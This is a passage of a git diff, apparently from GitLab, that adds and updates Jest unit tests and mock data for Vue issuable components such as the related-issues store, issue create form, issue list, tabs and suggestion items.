+ store.addRelatedIssues([issuable2, issuable3]);
+
+ expect(store.state.relatedIssues).toEqual([issuable1, issuable2, issuable3]);
+ });
+ });
+
+ describe('removeRelatedIssue', () => {
+ it('removes issue', () => {
+ store.state.relatedIssues = [issuable1];
+
+ store.removeRelatedIssue(issuable1);
+
+ expect(store.state.relatedIssues).toEqual([]);
+ });
+
+ it('removes issue with multiple in store', () => {
+ store.state.relatedIssues = [issuable1, issuable2];
+
+ store.removeRelatedIssue(issuable1);
+
+ expect(store.state.relatedIssues).toEqual([issuable2]);
+ });
+ });
+
+ describe('updateIssueOrder', () => {
+ it('updates issue order', () => {
+ store.state.relatedIssues = [issuable1, issuable2, issuable3, issuable4, issuable5];
+
+ expect(store.state.relatedIssues[3].id).toBe(issuable4.id);
+ store.updateIssueOrder(3, 0);
+
+ expect(store.state.relatedIssues[0].id).toBe(issuable4.id);
+ });
+ });
+
+ describe('setPendingReferences', () => {
+ it('defaults to empty array', () => {
+ expect(store.state.pendingReferences).toEqual([]);
+ });
+
+ it('sets pending references', () => {
+ const relatedIssues = [issuable1.reference];
+ store.setPendingReferences(relatedIssues);
+
+ expect(store.state.pendingReferences).toEqual(relatedIssues);
+ });
+ });
+
+ describe('addPendingReferences', () => {
+ it('adds a reference', () => {
+ store.state.pendingReferences = [issuable1.reference];
+ store.addPendingReferences([issuable2.reference, issuable3.reference]);
+
+ expect(store.state.pendingReferences).toEqual([
+ issuable1.reference,
+ issuable2.reference,
+ issuable3.reference,
+ ]);
+ });
+ });
+
+ describe('removePendingRelatedIssue', () => {
+ it('removes issue', () => {
+ store.state.pendingReferences = [issuable1.reference];
+
+ store.removePendingRelatedIssue(0);
+
+ expect(store.state.pendingReferences).toEqual([]);
+ });
+
+ it('removes issue with multiple in store', () => {
+ store.state.pendingReferences = [issuable1.reference, issuable2.reference];
+
+ store.removePendingRelatedIssue(0);
+
+ expect(store.state.pendingReferences).toEqual([issuable2.reference]);
+ });
+ });
+});
diff --git a/spec/frontend/issuable_create/components/issuable_create_root_spec.js b/spec/frontend/issuable_create/components/issuable_create_root_spec.js
new file mode 100644
index 00000000000..675d01ae4af
--- /dev/null
+++ b/spec/frontend/issuable_create/components/issuable_create_root_spec.js
@@ -0,0 +1,64 @@
+import { mount } from '@vue/test-utils';
+
+import IssuableCreateRoot from '~/issuable_create/components/issuable_create_root.vue';
+import IssuableForm from '~/issuable_create/components/issuable_form.vue';
+
+const createComponent = ({
+ descriptionPreviewPath = '/gitlab-org/gitlab-shell/preview_markdown',
+ descriptionHelpPath = '/help/user/markdown',
+ labelsFetchPath = '/gitlab-org/gitlab-shell/-/labels.json',
+ labelsManagePath = '/gitlab-org/gitlab-shell/-/labels',
+} = {}) => {
+ return mount(IssuableCreateRoot, {
+ propsData: {
+ descriptionPreviewPath,
+ descriptionHelpPath,
+ labelsFetchPath,
+ labelsManagePath,
+ },
+ slots: {
+ title: `
+ <h1 class="js-create-title">New Issuable</h1>
+ `,
+ actions: `
+ <button class="js-issuable-save">Submit issuable</button>
+ `,
+ },
+ });
+};
+
+describe('IssuableCreateRoot', () => {
+ let wrapper;
+
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('template', () => {
+ it('renders component container element with class "issuable-create-container"', () => {
+ expect(wrapper.classes()).toContain('issuable-create-container');
+ });
+
+ it('renders contents for slot "title"', () => {
+ const titleEl = wrapper.find('h1.js-create-title');
+
+ expect(titleEl.exists()).toBe(true);
+ expect(titleEl.text()).toBe('New Issuable');
+ });
+
+ it('renders issuable-form component', () => {
+ expect(wrapper.find(IssuableForm).exists()).toBe(true);
+ });
+
+ it('renders contents for slot "actions" within issuable-form component', () => {
+ const buttonEl = wrapper.find(IssuableForm).find('button.js-issuable-save');
+
+ expect(buttonEl.exists()).toBe(true);
+ expect(buttonEl.text()).toBe('Submit issuable');
+ });
+ });
+});
diff --git a/spec/frontend/issuable_create/components/issuable_form_spec.js b/spec/frontend/issuable_create/components/issuable_form_spec.js
new file mode 100644
index 00000000000..e2c6b4d9521
--- /dev/null
+++ b/spec/frontend/issuable_create/components/issuable_form_spec.js
@@ -0,0 +1,119 @@
+import { shallowMount } from '@vue/test-utils';
+import { GlFormInput } from '@gitlab/ui';
+
+import MarkdownField from '~/vue_shared/components/markdown/field.vue';
+import LabelsSelect from '~/vue_shared/components/sidebar/labels_select_vue/labels_select_root.vue';
+
+import IssuableForm from '~/issuable_create/components/issuable_form.vue';
+
+const createComponent = ({
+ descriptionPreviewPath = '/gitlab-org/gitlab-shell/preview_markdown',
+ descriptionHelpPath = '/help/user/markdown',
+ labelsFetchPath = '/gitlab-org/gitlab-shell/-/labels.json',
+ labelsManagePath = '/gitlab-org/gitlab-shell/-/labels',
+} = {}) => {
+ return shallowMount(IssuableForm, {
+ propsData: {
+ descriptionPreviewPath,
+ descriptionHelpPath,
+ labelsFetchPath,
+ labelsManagePath,
+ },
+ slots: {
+ actions: `
+ <button class="js-issuable-save">Submit issuable</button>
+ `,
+ },
+ });
+};
+
+describe('IssuableForm', () => {
+ let wrapper;
+
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('methods', () => {
+ describe('handleUpdateSelectedLabels', () => {
+ it('sets provided `labels` param to prop `selectedLabels`', () => {
+ const labels = [
+ {
+ id: 1,
+ color: '#BADA55',
+ text_color: '#ffffff',
+ title: 'Documentation',
+ },
+ ];
+
+ wrapper.vm.handleUpdateSelectedLabels(labels);
+
+ expect(wrapper.vm.selectedLabels).toBe(labels);
+ });
+ });
+ });
+
+ describe('template', () => {
+ it('renders issuable title input field', () => {
+ const titleFieldEl = wrapper.find('[data-testid="issuable-title"]');
+
+ expect(titleFieldEl.exists()).toBe(true);
+ expect(titleFieldEl.find('label').text()).toBe('Title');
+ expect(titleFieldEl.find(GlFormInput).exists()).toBe(true);
+ expect(titleFieldEl.find(GlFormInput).attributes('placeholder')).toBe('Title');
+ expect(titleFieldEl.find(GlFormInput).attributes('autofocus')).toBe('true');
+ });
+
+ it('renders issuable description input field', () => {
+ const descriptionFieldEl = wrapper.find('[data-testid="issuable-description"]');
+
+ expect(descriptionFieldEl.exists()).toBe(true);
+ expect(descriptionFieldEl.find('label').text()).toBe('Description');
+ expect(descriptionFieldEl.find(MarkdownField).exists()).toBe(true);
+ expect(descriptionFieldEl.find(MarkdownField).props()).toMatchObject({
+ markdownPreviewPath: wrapper.vm.descriptionPreviewPath,
+ markdownDocsPath: wrapper.vm.descriptionHelpPath,
+ addSpacingClasses: false,
+ showSuggestPopover: true,
+ });
+ expect(descriptionFieldEl.find('textarea').exists()).toBe(true);
+ expect(descriptionFieldEl.find('textarea').attributes('placeholder')).toBe(
+ 'Write a comment or drag your files here…',
+ );
+ });
+
+ it('renders labels select field', () => {
+ const labelsSelectEl = wrapper.find('[data-testid="issuable-labels"]');
+
+ expect(labelsSelectEl.exists()).toBe(true);
+ expect(labelsSelectEl.find('label').text()).toBe('Labels');
+ expect(labelsSelectEl.find(LabelsSelect).exists()).toBe(true);
+ expect(labelsSelectEl.find(LabelsSelect).props()).toMatchObject({
+ allowLabelEdit: true,
+ allowLabelCreate: true,
+ allowMultiselect: true,
+ allowScopedLabels: true,
+ labelsFetchPath: wrapper.vm.labelsFetchPath,
+ labelsManagePath: wrapper.vm.labelsManagePath,
+ selectedLabels: wrapper.vm.selectedLabels,
+ labelsListTitle: 'Select label',
+ footerCreateLabelTitle: 'Create project label',
+ footerManageLabelTitle: 'Manage project labels',
+ variant: 'embedded',
+ });
+ });
+
+ it('renders contents for slot "actions"', () => {
+ const buttonEl = wrapper
+ .find('[data-testid="issuable-create-actions"]')
+ .find('button.js-issuable-save');
+
+ expect(buttonEl.exists()).toBe(true);
+ expect(buttonEl.text()).toBe('Submit issuable');
+ });
+ });
+});
diff --git a/spec/frontend/issuable_list/components/issuable_item_spec.js b/spec/frontend/issuable_list/components/issuable_item_spec.js
new file mode 100644
index 00000000000..a96a4e15e6c
--- /dev/null
+++ b/spec/frontend/issuable_list/components/issuable_item_spec.js
@@ -0,0 +1,185 @@
+import { shallowMount } from '@vue/test-utils';
+import { GlLink, GlLabel } from '@gitlab/ui';
+
+import IssuableItem from '~/issuable_list/components/issuable_item.vue';
+
+import { mockIssuable, mockRegularLabel, mockScopedLabel } from '../mock_data';
+
+const createComponent = ({ issuableSymbol = '#', issuable = mockIssuable } = {}) =>
+ shallowMount(IssuableItem, {
+ propsData: {
+ issuableSymbol,
+ issuable,
+ },
+ });
+
+describe('IssuableItem', () => {
+ const mockLabels = mockIssuable.labels.nodes;
+ const mockAuthor = mockIssuable.author;
+ let wrapper;
+
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('computed', () => {
+ describe('author', () => {
+ it('returns `issuable.author` reference', () => {
+ expect(wrapper.vm.author).toEqual(mockIssuable.author);
+ });
+ });
+
+ describe('authorId', () => {
+ it.each`
+ authorId | returnValue
+ ${1} | ${1}
+ ${'1'} | ${1}
+ ${'gid://gitlab/User/1'} | ${'1'}
+ ${'foo'} | ${''}
+ `(
+ 'returns $returnValue when value of `issuable.author.id` is $authorId',
+ async ({ authorId, returnValue }) => {
+ wrapper.setProps({
+ issuable: {
+ ...mockIssuable,
+ author: {
+ ...mockAuthor,
+ id: authorId,
+ },
+ },
+ });
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.vm.authorId).toBe(returnValue);
+ },
+ );
+ });
+
+ describe('labels', () => {
+ it('returns `issuable.labels.nodes` reference when it is available', () => {
+ expect(wrapper.vm.labels).toEqual(mockLabels);
+ });
+
+ it('returns `issuable.labels` reference when it is available', async () => {
+ wrapper.setProps({
+ issuable: {
+ ...mockIssuable,
+ labels: mockLabels,
+ },
+ });
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.vm.labels).toEqual(mockLabels);
+ });
+
+ it('returns empty array when none of `issuable.labels.nodes` or `issuable.labels` are available', async () => {
+ wrapper.setProps({
+ issuable: {
+ ...mockIssuable,
+ labels: null,
+ },
+ });
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.vm.labels).toEqual([]);
+ });
+ });
+
+ describe('createdAt', () => {
+ it('returns string containing timeago string based on `issuable.createdAt`', () => {
+ expect(wrapper.vm.createdAt).toContain('created');
+ expect(wrapper.vm.createdAt).toContain('ago');
+ });
+ });
+
+ describe('updatedAt', () => {
+ it('returns string containing timeago string based on `issuable.updatedAt`', () => {
+ expect(wrapper.vm.updatedAt).toContain('updated');
+ expect(wrapper.vm.updatedAt).toContain('ago');
+ });
+ });
+ });
+
+ describe('methods', () => {
+ describe('scopedLabel', () => {
+ it.each`
+ label | labelType | returnValue
+ ${mockRegularLabel} | ${'regular'} | ${false}
+ ${mockScopedLabel} | ${'scoped'} | ${true}
+ `(
+ 'return $returnValue when provided label param is a $labelType label',
+ ({ label, returnValue }) => {
+ expect(wrapper.vm.scopedLabel(label)).toBe(returnValue);
+ },
+ );
+ });
+ });
+
+ describe('template', () => {
+ it('renders issuable title', () => {
+ const titleEl = wrapper.find('[data-testid="issuable-title"]');
+
+ expect(titleEl.exists()).toBe(true);
+ expect(titleEl.find(GlLink).attributes('href')).toBe(mockIssuable.webUrl);
+ expect(titleEl.find(GlLink).text()).toBe(mockIssuable.title);
+ });
+
+ it('renders issuable reference', () => {
+ const referenceEl = wrapper.find('[data-testid="issuable-reference"]');
+
+ expect(referenceEl.exists()).toBe(true);
+ expect(referenceEl.text()).toBe(`#${mockIssuable.iid}`);
+ });
+
+ it('renders issuable createdAt info', () => {
+ const createdAtEl = wrapper.find('[data-testid="issuable-created-at"]');
+
+ expect(createdAtEl.exists()).toBe(true);
+ expect(createdAtEl.attributes('title')).toBe('Jun 29, 2020 1:52pm GMT+0000');
+ expect(createdAtEl.text()).toBe(wrapper.vm.createdAt);
+ });
+
+ it('renders issuable author info', () => {
+ const authorEl = wrapper.find('[data-testid="issuable-author"]');
+
+ expect(authorEl.exists()).toBe(true);
+ expect(authorEl.attributes()).toMatchObject({
+ 'data-user-id': wrapper.vm.authorId,
+ 'data-username': mockAuthor.username,
+ 'data-name': mockAuthor.name,
+ 'data-avatar-url': mockAuthor.avatarUrl,
+ href: mockAuthor.webUrl,
+ });
+ expect(authorEl.text()).toBe(mockAuthor.name);
+ });
+
+ it('renders gl-label component for each label present within `issuable` prop', () => {
+ const labelsEl = wrapper.findAll(GlLabel);
+
+ expect(labelsEl.exists()).toBe(true);
+ expect(labelsEl).toHaveLength(mockLabels.length);
+ expect(labelsEl.at(0).props()).toMatchObject({
+ backgroundColor: mockLabels[0].color,
+ title: mockLabels[0].title,
+ description: mockLabels[0].description,
+ scoped: false,
+ size: 'sm',
+ });
+ });
+
+ it('renders issuable updatedAt info', () => {
+ const updatedAtEl = wrapper.find('[data-testid="issuable-updated-at"]');
+
+ expect(updatedAtEl.exists()).toBe(true);
+ expect(updatedAtEl.find('span').attributes('title')).toBe('Sep 10, 2020 11:41am GMT+0000');
+ expect(updatedAtEl.text()).toBe(wrapper.vm.updatedAt);
+ });
+ });
+});
diff --git a/spec/frontend/issuable_list/components/issuable_list_root_spec.js b/spec/frontend/issuable_list/components/issuable_list_root_spec.js
new file mode 100644
index 00000000000..34184522b55
--- /dev/null
+++ b/spec/frontend/issuable_list/components/issuable_list_root_spec.js
@@ -0,0 +1,160 @@
+import { mount } from '@vue/test-utils';
+import { GlLoadingIcon, GlPagination } from '@gitlab/ui';
+
+import IssuableListRoot from '~/issuable_list/components/issuable_list_root.vue';
+import IssuableTabs from '~/issuable_list/components/issuable_tabs.vue';
+import IssuableItem from '~/issuable_list/components/issuable_item.vue';
+import FilteredSearchBar from '~/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue';
+
+import { mockIssuableListProps } from '../mock_data';
+
+const createComponent = (propsData = mockIssuableListProps) =>
+ mount(IssuableListRoot, {
+ propsData,
+ slots: {
+ 'nav-actions': `
+ <button class="js-new-issuable">New issuable</button>
+ `,
+ 'empty-state': `
+ <p class="js-issuable-empty-state">Issuable empty state</p>
+ `,
+ },
+ });
+
+describe('IssuableListRoot', () => {
+ let wrapper;
+
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('template', () => {
+ it('renders component container element with class "issuable-list-container"', () => {
+ expect(wrapper.classes()).toContain('issuable-list-container');
+ });
+
+ it('renders issuable-tabs component', () => {
+ const tabsEl = wrapper.find(IssuableTabs);
+
+ expect(tabsEl.exists()).toBe(true);
+ expect(tabsEl.props()).toMatchObject({
+ tabs: wrapper.vm.tabs,
+ tabCounts: wrapper.vm.tabCounts,
+ currentTab: wrapper.vm.currentTab,
+ });
+ });
+
+ it('renders contents for slot "nav-actions" within issuable-tab component', () => {
+ const buttonEl = wrapper.find(IssuableTabs).find('button.js-new-issuable');
+
+ expect(buttonEl.exists()).toBe(true);
+ expect(buttonEl.text()).toBe('New issuable');
+ });
+
+ it('renders filtered-search-bar component', () => {
+ const searchEl = wrapper.find(FilteredSearchBar);
+ const {
+ namespace,
+ recentSearchesStorageKey,
+ searchInputPlaceholder,
+ searchTokens,
+ sortOptions,
+ initialFilterValue,
+ initialSortBy,
+ } = wrapper.vm;
+
+ expect(searchEl.exists()).toBe(true);
+ expect(searchEl.props()).toMatchObject({
+ namespace,
+ recentSearchesStorageKey,
+ searchInputPlaceholder,
+ tokens: searchTokens,
+ sortOptions,
+ initialFilterValue,
+ initialSortBy,
+ });
+ });
+
+ it('renders gl-loading-icon when `issuablesLoading` prop is true', async () => {
+ wrapper.setProps({
+ issuablesLoading: true,
+ });
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.find(GlLoadingIcon).exists()).toBe(true);
+ });
+
+ it('renders issuable-item component for each item within `issuables` array', () => {
+ const itemsEl = wrapper.findAll(IssuableItem);
+ const mockIssuable = mockIssuableListProps.issuables[0];
+
+ expect(itemsEl).toHaveLength(mockIssuableListProps.issuables.length);
+ expect(itemsEl.at(0).props()).toMatchObject({
+ issuableSymbol: wrapper.vm.issuableSymbol,
+ issuable: mockIssuable,
+ });
+ });
+
+ it('renders contents for slot "empty-state" when `issuablesLoading` is false and `issuables` is empty', async () => {
+ wrapper.setProps({
+ issuables: [],
+ });
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.find('p.js-issuable-empty-state').exists()).toBe(true);
+ expect(wrapper.find('p.js-issuable-empty-state').text()).toBe('Issuable empty state');
+ });
+
+ it('renders gl-pagination when `showPaginationControls` prop is true', async () => {
+ wrapper.setProps({
+ showPaginationControls: true,
+ });
+
+ await wrapper.vm.$nextTick();
+
+ const paginationEl = wrapper.find(GlPagination);
+ expect(paginationEl.exists()).toBe(true);
+ expect(paginationEl.props()).toMatchObject({
+ perPage: 20,
+ value: 1,
+ prevPage: 0,
+ nextPage: 2,
+ align: 'center',
+ });
+ });
+ });
+
+ describe('events', () => {
+ it('issuable-tabs component emits `click-tab` event on `click-tab` event', () => {
+ wrapper.find(IssuableTabs).vm.$emit('click');
+
+ expect(wrapper.emitted('click-tab')).toBeTruthy();
+ });
+
+ it('filtered-search-bar component emits `filter` event on `onFilter` & `sort` event on `onSort` events', () => {
+ const searchEl = wrapper.find(FilteredSearchBar);
+
+ searchEl.vm.$emit('onFilter');
+ expect(wrapper.emitted('filter')).toBeTruthy();
+ searchEl.vm.$emit('onSort');
+ expect(wrapper.emitted('sort')).toBeTruthy();
+ });
+
+ it('gl-pagination component emits `page-change` event on `input` event', async () => {
+ wrapper.setProps({
+ showPaginationControls: true,
+ });
+
+ await wrapper.vm.$nextTick();
+
+ wrapper.find(GlPagination).vm.$emit('input');
+ expect(wrapper.emitted('page-change')).toBeTruthy();
+ });
+ });
+});
diff --git a/spec/frontend/issuable_list/components/issuable_tabs_spec.js b/spec/frontend/issuable_list/components/issuable_tabs_spec.js
new file mode 100644
index 00000000000..12611400084
--- /dev/null
+++ b/spec/frontend/issuable_list/components/issuable_tabs_spec.js
@@ -0,0 +1,91 @@
+import { mount } from '@vue/test-utils';
+import { GlTab, GlBadge } from '@gitlab/ui';
+
+import IssuableTabs from '~/issuable_list/components/issuable_tabs.vue';
+
+import { mockIssuableListProps } from '../mock_data';
+
+const createComponent = ({
+ tabs = mockIssuableListProps.tabs,
+ tabCounts = mockIssuableListProps.tabCounts,
+ currentTab = mockIssuableListProps.currentTab,
+} = {}) =>
+ mount(IssuableTabs, {
+ propsData: {
+ tabs,
+ tabCounts,
+ currentTab,
+ },
+ slots: {
+ 'nav-actions': `
+ <button class="js-new-issuable">New issuable</button>
+ `,
+ },
+ });
+
+describe('IssuableTabs', () => {
+ let wrapper;
+
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('methods', () => {
+ describe('isTabActive', () => {
+ it.each`
+ tabName | currentTab | returnValue
+ ${'opened'} | ${'opened'} | ${true}
+ ${'opened'} | ${'closed'} | ${false}
+ `(
+ 'returns $returnValue when tab name is "$tabName" is current tab is "$currentTab"',
+ async ({ tabName, currentTab, returnValue }) => {
+ wrapper.setProps({
+ currentTab,
+ });
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.vm.isTabActive(tabName)).toBe(returnValue);
+ },
+ );
+ });
+ });
+
+ describe('template', () => {
+ it('renders gl-tab for each tab within `tabs` array', () => {
+ const tabsEl = wrapper.findAll(GlTab);
+
+ expect(tabsEl.exists()).toBe(true);
+ expect(tabsEl).toHaveLength(mockIssuableListProps.tabs.length);
+ });
+
+ it('renders gl-badge component within a tab', () => {
+ const badgeEl = wrapper.findAll(GlBadge).at(0);
+
+ expect(badgeEl.exists()).toBe(true);
+ expect(badgeEl.text()).toBe(`${mockIssuableListProps.tabCounts.opened}`);
+ });
+
+ it('renders contents for slot "nav-actions"', () => {
+ const buttonEl = wrapper.find('button.js-new-issuable');
+
+ expect(buttonEl.exists()).toBe(true);
+ expect(buttonEl.text()).toBe('New issuable');
+ });
+ });
+
+ describe('events', () => {
+ it('gl-tab component emits `click` event on `click` event', () => {
+ const tabEl = wrapper.findAll(GlTab).at(0);
+
+ tabEl.vm.$emit('click', 'opened');
+
+ expect(wrapper.emitted('click')).toBeTruthy();
+ expect(wrapper.emitted('click')[0]).toEqual(['opened']);
+ });
+ });
+});
diff --git a/spec/frontend/issuable_list/mock_data.js b/spec/frontend/issuable_list/mock_data.js
new file mode 100644
index 00000000000..f6f914a595d
--- /dev/null
+++ b/spec/frontend/issuable_list/mock_data.js
@@ -0,0 +1,135 @@
+import {
+ mockAuthorToken,
+ mockLabelToken,
+ mockSortOptions,
+} from 'jest/vue_shared/components/filtered_search_bar/mock_data';
+
+export const mockAuthor = {
+ id: 'gid://gitlab/User/1',
+ avatarUrl: 'https://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80&d=identicon',
+ name: 'Administrator',
+ username: 'root',
+ webUrl: 'http://0.0.0.0:3000/root',
+};
+
+export const mockRegularLabel = {
+ id: 'gid://gitlab/GroupLabel/2048',
+ title: 'Documentation Update',
+ description: null,
+ color: '#F0AD4E',
+ textColor: '#FFFFFF',
+};
+
+export const mockScopedLabel = {
+ id: 'gid://gitlab/ProjectLabel/2049',
+ title: 'status::confirmed',
+ description: null,
+ color: '#D9534F',
+ textColor: '#FFFFFF',
+};
+
+export const mockLabels = [mockRegularLabel, mockScopedLabel];
+
+export const mockIssuable = {
+ iid: '30',
+ title: 'Dismiss Cipher with no integrity',
+ description: null,
+ createdAt: '2020-06-29T13:52:56Z',
+ updatedAt: '2020-09-10T11:41:13Z',
+ webUrl: 'http://0.0.0.0:3000/gitlab-org/gitlab-shell/-/issues/30',
+ author: mockAuthor,
+ labels: {
+ nodes: mockLabels,
+ },
+};
+
+export const mockIssuables = [
+ mockIssuable,
+ {
+ iid: '28',
+ title: 'Dismiss Cipher with no integrity',
+ description: null,
+ createdAt: '2020-06-29T13:52:56Z',
+ updatedAt: '2020-06-29T13:52:56Z',
+ webUrl: 'http://0.0.0.0:3000/gitlab-org/gitlab-shell/-/issues/28',
+ author: mockAuthor,
+ labels: {
+ nodes: [],
+ },
+ },
+ {
+ iid: '7',
+ title: 'Temporibus in veritatis labore explicabo velit molestiae sed.',
+ description: 'Quo consequatur rem aliquid laborum quibusdam molestiae saepe.',
+ createdAt: '2020-06-25T13:50:14Z',
+ updatedAt: '2020-08-25T06:09:27Z',
+ webUrl: 'http://0.0.0.0:3000/gitlab-org/gitlab-shell/-/issues/7',
+ author: mockAuthor,
+ labels: {
+ nodes: mockLabels,
+ },
+ },
+ {
+ iid: '17',
+ title: 'Vel voluptatem quaerat est hic incidunt qui ut aliquid sit exercitationem.',
+ description: 'Incidunt accusamus perspiciatis aut excepturi.',
+ createdAt: '2020-06-19T13:51:36Z',
+ updatedAt: '2020-08-11T13:36:35Z',
+ webUrl: 'http://0.0.0.0:3000/gitlab-org/gitlab-shell/-/issues/17',
+ author: mockAuthor,
+ labels: {
+ nodes: [],
+ },
+ },
+ {
+ iid: '16',
+ title: 'Vero qui quo labore libero omnis quisquam et cumque.',
+ description: 'Ipsa ipsum magni nostrum alias aut exercitationem.',
+ createdAt: '2020-06-19T13:51:36Z',
+ updatedAt: '2020-06-19T13:51:36Z',
+ webUrl: 'http://0.0.0.0:3000/gitlab-org/gitlab-shell/-/issues/16',
+ author: mockAuthor,
+ labels: {
+ nodes: [],
+ },
+ },
+];
+
+export const mockTabs = [
+ {
+ id: 'state-opened',
+ name: 'opened',
+ title: 'Open',
+ titleTooltip: 'Filter by issuables that are currently opened.',
+ },
+ {
+ id: 'state-archived',
+ name: 'closed',
+ title: 'Closed',
+ titleTooltip: 'Filter by issuables that are currently archived.',
+ },
+ {
+ id: 'state-all',
+ name: 'all',
+ title: 'All',
+ titleTooltip: 'Show all issuables.',
+ },
+];
+
+export const mockTabCounts = {
+ opened: 5,
+ closed: 0,
+ all: 5,
+};
+
+export const mockIssuableListProps = {
+ namespace: 'gitlab-org/gitlab-test',
+ recentSearchesStorageKey: 'issues',
+ searchInputPlaceholder: 'Search issues',
+ searchTokens: [mockAuthorToken, mockLabelToken],
+ sortOptions: mockSortOptions,
+ issuables: mockIssuables,
+ tabs: mockTabs,
+ tabCounts: mockTabCounts,
+ currentTab: 'opened',
+};
diff --git a/spec/frontend/issuable_suggestions/components/app_spec.js b/spec/frontend/issuable_suggestions/components/app_spec.js
index d51c89807be..0cb5b9c90ba 100644
--- a/spec/frontend/issuable_suggestions/components/app_spec.js
+++ b/spec/frontend/issuable_suggestions/components/app_spec.js
@@ -41,7 +41,7 @@ describe('Issuable suggestions app component', () => {
wrapper.setData(data);
return wrapper.vm.$nextTick(() => {
- expect(wrapper.isEmpty()).toBe(false);
+ expect(wrapper.findAll('li').length).toBe(data.issues.length);
});
});
@@ -89,8 +89,8 @@ describe('Issuable suggestions app component', () => {
wrapper
.findAll('li')
.at(0)
- .is('.gl-mb-3'),
- ).toBe(true);
+ .classes(),
+ ).toContain('gl-mb-3');
});
});
@@ -102,8 +102,8 @@ describe('Issuable suggestions app component', () => {
wrapper
.findAll('li')
.at(1)
- .is('.gl-mb-3'),
- ).toBe(false);
+ .classes(),
+ ).not.toContain('gl-mb-3');
});
});
});
diff --git a/spec/frontend/issuable_suggestions/components/item_spec.js b/spec/frontend/issuable_suggestions/components/item_spec.js
index ad37ccd2ca5..9912e77d5fe 100644
--- a/spec/frontend/issuable_suggestions/components/item_spec.js
+++ b/spec/frontend/issuable_suggestions/components/item_spec.js
@@ -1,7 +1,6 @@
import { shallowMount } from '@vue/test-utils';
-import { GlTooltip, GlLink } from '@gitlab/ui';
+import { GlTooltip, GlLink, GlIcon } from '@gitlab/ui';
import { TEST_HOST } from 'jest/helpers/test_constants';
-import Icon from '~/vue_shared/components/icon.vue';
import UserAvatarImage from '~/vue_shared/components/user_avatar/user_avatar_image.vue';
import Suggestion from '~/issuable_suggestions/components/item.vue';
import mockData from '../mock_data';
@@ -48,7 +47,7 @@ describe('Issuable suggestions suggestion component', () => {
it('renders icon', () => {
createComponent();
- const icon = vm.find(Icon);
+ const icon = vm.find(GlIcon);
expect(icon.props('name')).toBe('issue-open-m');
});
@@ -71,7 +70,7 @@ describe('Issuable suggestions suggestion component', () => {
state: 'closed',
});
- const icon = vm.find(Icon);
+ const icon = vm.find(GlIcon);
expect(icon.props('name')).toBe('issue-close');
});
@@ -112,7 +111,7 @@ describe('Issuable suggestions suggestion component', () => {
const count = vm.findAll('.suggestion-counts span').at(0);
expect(count.text()).toContain('1');
- expect(count.find(Icon).props('name')).toBe('thumb-up');
+ expect(count.find(GlIcon).props('name')).toBe('thumb-up');
});
it('renders notes count', () => {
@@ -121,7 +120,7 @@ describe('Issuable suggestions suggestion component', () => {
const count = vm.findAll('.suggestion-counts span').at(1);
expect(count.text()).toContain('2');
- expect(count.find(Icon).props('name')).toBe('comment');
+ expect(count.find(GlIcon).props('name')).toBe('comment');
});
});
@@ -131,7 +130,7 @@ describe('Issuable suggestions suggestion component', () => {
confidential: true,
});
- const icon = vm.find(Icon);
+ const icon = vm.find(GlIcon);
expect(icon.props('name')).toBe('eye-slash');
expect(icon.attributes('title')).toBe('Confidential');
diff --git a/spec/frontend/issuables_list/components/issuable_list_root_app_spec.js b/spec/frontend/issuables_list/components/issuable_list_root_app_spec.js
deleted file mode 100644
index aee49076b5d..00000000000
--- a/spec/frontend/issuables_list/components/issuable_list_root_app_spec.js
+++ /dev/null
@@ -1,115 +0,0 @@
-import { GlAlert, GlLabel } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import Vue from 'vue';
-import IssuableListRootApp from '~/issuables_list/components/issuable_list_root_app.vue';
-
-describe('IssuableListRootApp', () => {
- const issuesPath = 'gitlab-org/gitlab-test/-/issues';
- const label = {
- color: '#333',
- title: 'jira-import::MTG-3',
- };
- let wrapper;
-
- const findAlert = () => wrapper.find(GlAlert);
-
- const findAlertLabel = () => wrapper.find(GlAlert).find(GlLabel);
-
- const mountComponent = ({
- shouldShowFinishedAlert = false,
- shouldShowInProgressAlert = false,
- } = {}) =>
- shallowMount(IssuableListRootApp, {
- propsData: {
- canEdit: true,
- isJiraConfigured: true,
- issuesPath,
- projectPath: 'gitlab-org/gitlab-test',
- },
- data() {
- return {
- jiraImport: {
- importedIssuesCount: 1,
- label,
- shouldShowFinishedAlert,
- shouldShowInProgressAlert,
- },
- };
- },
- });
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
- describe('when Jira import is not in progress', () => {
- it('does not show an alert', () => {
- wrapper = mountComponent();
-
- expect(wrapper.contains(GlAlert)).toBe(false);
- });
- });
-
- describe('when Jira import is in progress', () => {
- it('shows an alert that tells the user a Jira import is in progress', () => {
- wrapper = mountComponent({
- shouldShowInProgressAlert: true,
- });
-
- expect(findAlert().text()).toBe(
- 'Import in progress. Refresh page to see newly added issues.',
- );
- });
- });
-
- describe('when Jira import has finished', () => {
- beforeEach(() => {
- wrapper = mountComponent({
- shouldShowFinishedAlert: true,
- });
- });
-
- describe('shows an alert', () => {
- it('tells the user the Jira import has finished', () => {
- expect(findAlert().text()).toBe('1 issue successfully imported with the label');
- });
-
- it('contains the label title associated with the Jira import', () => {
- const alertLabelTitle = findAlertLabel().props('title');
-
- expect(alertLabelTitle).toBe(label.title);
- });
-
- it('contains the correct label color', () => {
- const alertLabelTitle = findAlertLabel().props('backgroundColor');
-
- expect(alertLabelTitle).toBe(label.color);
- });
-
- it('contains a link within the label', () => {
- const alertLabelTarget = findAlertLabel().props('target');
-
- expect(alertLabelTarget).toBe(
